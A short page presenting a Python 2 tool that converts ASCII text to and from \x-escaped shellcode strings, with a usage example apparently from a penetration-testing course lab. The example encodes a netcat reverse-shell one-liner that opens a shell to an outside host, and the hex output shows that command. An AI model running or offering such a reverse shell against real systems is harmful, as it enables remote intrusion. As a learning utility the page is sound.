shellcode encode / decoder

Converting Shellcode to x86 Assembly

Script

#!/usr/bin/python
'''
	This is ascii <-> shellcode encode / decoder tool
	programmer : gunslinger_ <yudha.gunslinger[at]gmail.com>
	This was written for educational purpose only. or fucking messing around...
	i.e how to use encode mode :
		--------------------------------------------------------------
		gunslinger@localhost:~/shellcode$ ./shellcodeencdec.py
		shellcode hex encode decoder
		programmer : gunslinger_
		what do you want to do ? encode / decode
		=> encode
		Please input data : /bin
		shellcode => \x2f\x62\x69\x6e
		gunslinger@localhost:~/shellcode$
		--------------------------------------------------------------
	i.e how to use decode mode :
		"\x68\x2f\x2f\x73\x68"  // push   $0x68732f2f
		"\x68\x2f\x62\x69\x6e"  // push   $0x6e69622f
		we know 'x68' is push, so drop it...
		"\x2f\x2f\x73\x68"     $0x68732f2f
		"\x2f\x62\x69\x6e"     $0x6e69622f
		--------------------------------------------------------------
		gunslinger@localhost:~/shellcode$ ./shellcodeencdec.py
		shellcode hex encode decoder
		programmer : gunslinger_
		what do you want to do ? encode / decode
		=> decode
		Please input data : \x2f\x2f\x73\x68
		hex       =>  2f2f7368
		plaintext => //sh
		gunslinger@localhost:~/shellcode$ ./shellcodeencdec.py
		shellcode hex encode decoder
		programmer : gunslinger_
		what do you want to do ? encode / decode
		=> decode
		Please input data : \x2f\x62\x69\x6e
		hex       =>  2f62696e
		plaintext => /bin
		gunslinger@localhost:~/shellcode$ 
		--------------------------------------------------------------
		and we got that is "/bin//sh"
		
	warning ! this is not disassemble tool !
'''
import binascii, sys, time

RED = '\033[31m'
WHITE = '\033[37m'
RESET = '\033[0;0m'

def main():
	print "shellcode hex encode decoder"
	print "programmer : gunslinger_ <yudha.gunslinger[at]gmail.com>"
	print "what do you want to do ? %sencode%s / %sdecode%s" % (RED, RESET, WHITE, RESET)
	q = raw_input("=> ")

	if q == "encode": 
		inputtype = raw_input("Please input data : ")
		print "shellcode => ",
		for encoded in inputtype:
			print "\b\\x"+encoded.encode("hex"),
			sys.stdout.flush()
			time.sleep(0.5)
			print RESET

	elif q == "decode":
		inputtype = raw_input("Please input data : ")
		cleaninput = inputtype.replace("\\x","")
		print "hex       => ",cleaninput
		print "plaintext => ",
		print "\b"+cleaninput.decode("hex")

	else:
		print "wrong answer ! your choice is %sencode%s or %sdecode%s" % (RED, RESET, WHITE, RESET)
		sys.exit(1)		

if __name__ == '__main__':
	main()

Example

root@kali:~/pwk# python shellcodeencdec.py 
shellcode hex encode decoder
programmer : gunslinger_ <yudha.gunslinger[at]gmail.com>
what do you want to do ? encode / decode
=> encode
Please input data : rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.1.234 443 >/tmp/f
shellcode => \x72
\x6d \x20 \x2f \x74 \x6d\x70\x2f \x66 \x3b \x6d \x6b \x66 \x69 \x66 \x6f \x20 \x2f \x74 \x6d 
\x70 \x2f \x66 \x3b \x63 \x61 \x74 \x20 \x2f \x74 \x6d \x70 \x2f \x66 \x7c \ x2f\ x62 \x69 \x6e 
\x2f \x73 \x68 \x20 \x2d \x69 \x20 \x32 \x3e \x26 \x31 \x7c \x6e \x63 \x20 \x31 \x30 \x2e \x31 
\x31 \x2e \x31 \x2e\x32 \x33 \x34 \x20 \x34 \x34 \x33 \x20 \x3e \x2f \x74 \x6d \x70 \x2f \x66 
root@kali:~/pwk#

Author : Jacco Straathof